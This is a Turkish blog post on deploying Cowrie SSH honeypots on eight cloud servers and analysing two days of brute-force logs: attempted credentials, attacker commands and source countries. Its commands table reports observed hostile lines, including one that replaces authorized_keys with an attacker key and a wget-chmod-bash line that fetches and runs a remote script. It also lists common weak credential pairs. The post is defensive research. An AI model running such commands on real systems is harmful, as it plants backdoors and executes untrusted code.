Günümüzde otomatikleştirilmiş araçlar ile birlikte internete açık (public) sunuculara yapılan parola deneme saldırıları çok fazla artmıştır. Bu yazıda saldırganların el ile (manuel) ve otomatik araçlar ile yaptığı saldırılarda denedikleri kullanıcı adı, parola ve saldırının hangi ülkeden geldiği gibi bilgileri cowrie honeypot kurarak analiz ettik.
Analiz işlemini gerçekleştirirken DigitalOcean üzerinden kiraladığım 8 farklı lokasyondaki (New York, Amsterdam, San Francisco, Singapur, Londra, Frankfurt, Toronto, Bangalore) virtual private server (VPS)'lerin üzerine honeypot kurma işlemini gerçekleştirdik. DigitalOcean üzerindeki sunucuları 2 gün boyunca açık bıraktık ve gelen verileri analiz ederek otomatize araçların ve saldırganların davranışlarını inceledik.
Bu yazıda öncelikle honeypot Nedir? Nasıl Çalışır? ve cowrie honeypot nasıl kurulur? bunu anlatacağım. Daha sonra kurduğum canlı sistem üzerinde analiz ettiğim verileri paylaşarak saldırgan hareketlerine değineceğim.
Honeypot Nedir ?
Honeypot (Bal Küpü) sistemlere yetkisiz erişim sağlamaya çalışan saldırganlar için bilerek açık bırakılmış, saldırganlar hakkında davranışsal bilgi toplamaya yarayan uygulamalardır. Cowrie honeypot ise SSH ve Telnet uygulamaları için hazırlanan bir simülasyondur. Düzgün bir şekilde kulumu yapıldığında SSH ve Telnet portları açıkmış gibi davranır.Saldırganlar bu portlar üzerinde giriş denemesi yaptığı zaman başarılı giriş yapmış gibi sahte bir SSH yada Telnet bağlantısı sağlar. Daha sonra sunucuya bağlandığını sanan saldırganın burada yaptığı tüm işlemleri kaydeder.
Cowrie honeypot açık kaynak olarak Github üzerinde paylaşılmaktadır. Cowrie honeypot hem FTP hem de SSH üzerinde çalışabilir fakat bu yazıda yalnızca SSH üzerinde Cowrie honeypotu etkinleştireceğiz. Github üzerinde bulunan kendi kurulum dokümanı üzerinden kurulumu gerçekleştireceğiz.
Kuruluma geçmeden önce varsayılan olarak 22 portunda çalışan SSH sunucusunun portunu değiştirerek başka bir porta aktaralım. Bu sayede 22 portuna gelen trafiği honeypot portu(2222) üzerine yönlendirirken gerçek SSH portu ile bir çakışma yaşamayız.
Bunun için nano /etc/ssh/sshd_config komutu ile SSH ayar (config) dosyasını açalım ve port 22 yazan kısmın başındaki # işaretini kaldırdıktan sonra port 4545 yazarak SSH portumuzu değiştirelim. Daha sonra;
$ systemctl restart ssh
$ systemctl status ssh
Komutlarını çalıştırarak SSH servisini yeniden başlatalım. SSH durumunu görüntüleyerek portun değişip değişmediğini kontrol edelim. SSH portunuzu değiştirdikten sonra SSH sunucusunu yeniden başlatma işlemi gerçekleştirmezseniz sunucuya SSH bağlantısı sağlayamazsınız. Böyle bir durumda makineyi kapat aç yapmanız SSH portunun değişmesi için yeterli olacaktır.
Daha sonra aşağıdaki komut ile sunucu için gerekli bağımlılıkları yükleyelim;
$ sudo apt-get install git python-virtualenv libssl-dev libffi-dev build-essential libpython3-dev python3-minimal authbind virtualenv
Yükleme işlemi tamamlandıktan sonra cowrie isimli bir kullanıcı oluşturalım.
$ sudo adduser --disabled-password cowrie
Kullanıcıyı oluştururken dokümanın önerisi ile parola ile erişimi olmayan bir kullanıcı oluşturduk. Ardından kullanıcının dizinine giderek git ile dosyaları indiriyoruz.
$ git clone http://github.com/cowrie/cowrie
Ardından dizine giderek bu dizinde bir sanal ortam oluşturma işlemi gerçekleştiriyoruz.
$ virtualenv --python=python3 cowrie-env
Şimdi honeypot için gerekli bağımlılıkları yüklememiz gerekmektedir. Bunun için oluşturduğumuz sanal ortama geçiş yapıyoruz ve bağımlılıkları pip ile indiriyoruz.
$ source cowrie-env/bin/activate
$ (cowrie-env) $ pip install --upgrade pip
$ (cowrie-env) $ pip install --upgrade -r requirements.txt
Tüm kurulum işlemleri tamamlandıktan sonra cowrie 2222 portunda çalışmaya başlayacaktır. Şimdi 22 portuna gelen trafiği 2222 portuna yönlendirme işlemini gerçekleştireceğiz. Bu sayede varsayılan olarak gelen SSH portuna yapılan istekler honeypotun oluşturduğu sahte SSH sunucusuna yönlendirilecektir.
$ sudo iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222
Yukarıdaki komut ile 22 portuna gelen istekleri 2222 portuna gönderme işlemini tamamladık. Aşağıdaki komutu kullanarak honeypotu çalıştırma işlemini gerçekleştirebiliriz.
$ bin/cowrie start
Cowrie Honeypot Log Dosyasının İncelenmesi
Cowrie Honeypot kendine gelen tüm bağlantı isteklerini ve bağlantıdan sonraki hareketleri var/log/cowrie dizini altında tutmaktadır. Log dosyasının daha okunaklı olması için bash script ve python programla dili ile log dosyası çıktılarını biraz daha düzenleme işlemi gerçekleştirildik. Bu çıktılar üzerinden IP adresi, denenen kullanıcı adı parolalar, saldırganların SSH ile sisteme bağlandıklarında ilk çalıştırdıkları komutlar ve saldırıların saat aralıkları gibi verileri elde etmiş olduk.
Ayrıca gelen saldırıların daha çok hangi ülke ve hangi kıtadan geldiğini tespit etmek içinde bir API aracılığıyla IP adresi üzerinden coğrafi lokasyon tespiti gerçekleştirmiş olduk. Saldırılar çoğunlukla botlar ile kiralanmış sunucular üzerinden yapıldığı için ip adresi üzerinden tespit edilen coğrafi lokasyonlar saldırı yapan ülkeleri tam olarak ayırt etmemizi sağlamayabilir. Ancak botların en fazla hangi ülke sunucularından kiralandığı gibi bilgiler de bu sayede analiz edilebilir.
Elde Edilen Verilerin Analizi
Verilerin analiz edilme işlemi gerçekleştirilirken denenen kullanıcı adları, parola, komutlar ve coğrafi lokasyonlar göz önüne alınmıştır. Coğrafi lokasyonları bulmak için IP-API’nin sağladığı API aracılığıyla coğrafi lokasyon tespiti gerçekleştirilmiştir. Yapılan isteklerin hızı göz önüne alındığında saldırıların çok büyük bir kısmını otomatize araçların gerçekleştirildiği görülmüştür. Bu yazıda her sunucuya yapılan giriş (login) isteğini ayrı ayrı paylaşmasam da sunucuların bulunduğu lokasyona göre denenen kullanıcı adları ve parolalar farklılık göstermektedir. Özellikle Singapur sunucusunda root/admin kombinasyonunun diğer sunuculara oranla çok daha fazla denendiği tespit edilmiştir.
Yapılan Giriş İstekleri
Toplam Giriş Denemesi | Başarılı Denemeler | Başarısız Denemeler | |
---|---|---|---|
Amsterdam | 33268 | 29644 | 3624 |
Bangladore | 31580 | 26012 | 5568 |
San Francisco | 16980 | 7298 | 9682 |
Frankfurt | 44596 | 35713 | 8883 |
London | 18161 | 12816 | 5345 |
Newyork | 14933 | 6590 | 8343 |
Singapore | 32286 | 30803 | 1483 |
Toronto | 37781 | 31463 | 6318 |
İnternete erişimine açık ortam üzerinde oluşturulan 8 adet sunucuyu 2 gün boyuncu açık bırakmamız sonucunda elimize toplamda 229.585 adet giriş isteği 180.339 adet başarılı giriş isteği 49.246 adet başarısız giriş isteği 2237 adet farklı ip adresinden deneme isteği gelmiştir. Sunuculara yapılan başarılı ve başarısız deneme istekleri aşağıda verilmiştir.
Denenen Kullanıcı Adları
Kullanıcı Adı | Adet |
---|---|
root | 180477 |
nproc | 10041 |
admin | 1477 |
ubuntu | 1071 |
test | 1030 |
user | 897 |
postgres | 780 |
oracle | 623 |
git | 509 |
ftpuser | 392 |
Yukarıda en fazla giriş denemesi yapılan 10 kullanıcı adı verilmiştir. root kullanıcı adı yüksek farkla en fazla denenen kullanıcı olmasına rağmen nproc kullanıcı adı da çok fazla makinede denenmiştir.
Denenen Parolalar
Parola | Adet |
---|---|
123 | 134620 |
admin | 36493 |
nproc | 10041 |
123456 | 2794 |
1234 | 772 |
password | 751 |
1 | 586 |
12345 | 496 |
test | 414 |
root | 318 |
Yukarıda en fazla giriş denemesi yapılan 10 parola verilmiştir. Denenen parolalar karmaşık olmayan kolay parolalar olmuştur. Bu parolaların da otomatize araçların en fazla başarılı giriş yaptığı parolalardan seçildiğini düşünürsek. Hala bu kadar basit parolaların kullanılıyor olması şaşırtıcı gelmektedir.
Denenen Kullanıcı Adı ve Parola Kombinasyonları
Kullanıcı Adı | Parola | Adet |
---|---|---|
root | 123 | 133318 |
root | admin | 36213 |
nproc | nproc | 10041 |
root | root | 115 |
root | 1234 | 97 |
admin | admin | 81 |
user | user | 78 |
support | support | 67 |
pi | raspberry | 48 |
pi | raspberryraspberry993311 | 46 |
Yukarıda en fazla giriş denemesi yapılan 10 kullanıcı adı ve parola kombinasyonu verilmiştir. Bu denemelerde root kullanıcısı üzerinde denenen birçok parola en fazla denemeyi elinde tutmaktadır. Daha sonra nproc-nproc kombinasyonu denenmesine rağmen user, support ve pi kullanıcıları için çok yüksek olmasa da ilk 10 denemede yer almaktadır.
Sistemde Çalıştırılan Komutlar
Komut | Adet |
---|---|
cat /proc/cpuinfo | grep name | wc -l | 10245 |
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' | 10212 |
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' | 10202 |
which ls | 10196 |
crontab -l | 10193 |
uname -m | 10180 |
uname -a | 10177 |
lscpu | grep Model | 10157 |
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh_key" >>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ |
10089 |
wget https://`IP_ADDR`/`name.sh`&&chmod 755 name.sh &&bash name.sh &&uname -a |
167 |
Sunucular üzerinde toplam 153683 komut çalıştırılmıştır yukarıda en fazla çalıştırılan ilk 10 komut verilmiştir. Neredeyse tüm komutlar birbirine yakın miktarlarda çalıştırılmıştır. Süreler göz önüne alındığında otomatize araçların ilk çalıştırdığı komut /proc/cpuinfo ya göz atmak olurken ardından uname komutu kullanılmıştır. 167 adet bash dosyası indirme ve çalıştırma komutu verilmiştir. Bu 167 komut yalnızca 3 ip adresinden gerçekleştirilmiştir.
Ülkelere Göre Saldırı Dağılımı
Kıtalara Göre Saldırı Dağılımı
Saldırıların geldiği coğrafi lokasyonlar incelendiğinde Çin yüksek bir farkla en fazla giriş denemesi yapan ülke olmuş daha sonra Amerika ve Singapur gelmektedir. Kıtalarda ise Asya kıtası Çin’den gelen saldırılar sayesinde 1300 den fazla farklı IP adresinden saldırı almıştır.
Sonuç
Yapılan saldırılar incelendiğinde anlaşılacağı gibi 2 gün içinde 229.000 den fazla giriş isteği yapılmıştır. Bunların büyük bir çoğunluğunda root kullanıcısı ile giriş yapılmaya çalışılmıştır. Root kullanıcısının parola ile giriş yapmasını engelleyerek bu saldırılardan etkilenme ihtimalinin önüne geçmiş oluruz. Ayrıca varsayılan olarak gelen nproc,user,pi gibi kullanıcıların parolalarını varsayılan olarak bırakmamak ve parolalarını oluştururken özel karakter koymaya dikkat etmek gerekmektedir.
Makalede en fazla kullanılan 10 adet denemeleri istatistiklerini paylaşmıştım. Ancak gelen tüm giriş denemelerini incelediğimde gerçek ortamlarda karşılaştığım birkaç parolaya rastladım. Örneğin“deger2021!”
gibi bir çok kombinasyonda denemeler bulunmaktadır.
Diğer bir analiz ise botların kullandığı sözlüklerde artık baş harfi büyük ve sonuna 1 adet özel karakter eklendiği görülmektedir. Bu bilgi doğrultusunda Admin1! gibi parola kullanılması yerine daha uzun ve karmaşık parolalar kullanılmasının daha güvenli olacağı gözükmektedir.
Hiç yorum yok:
Yorum Gönder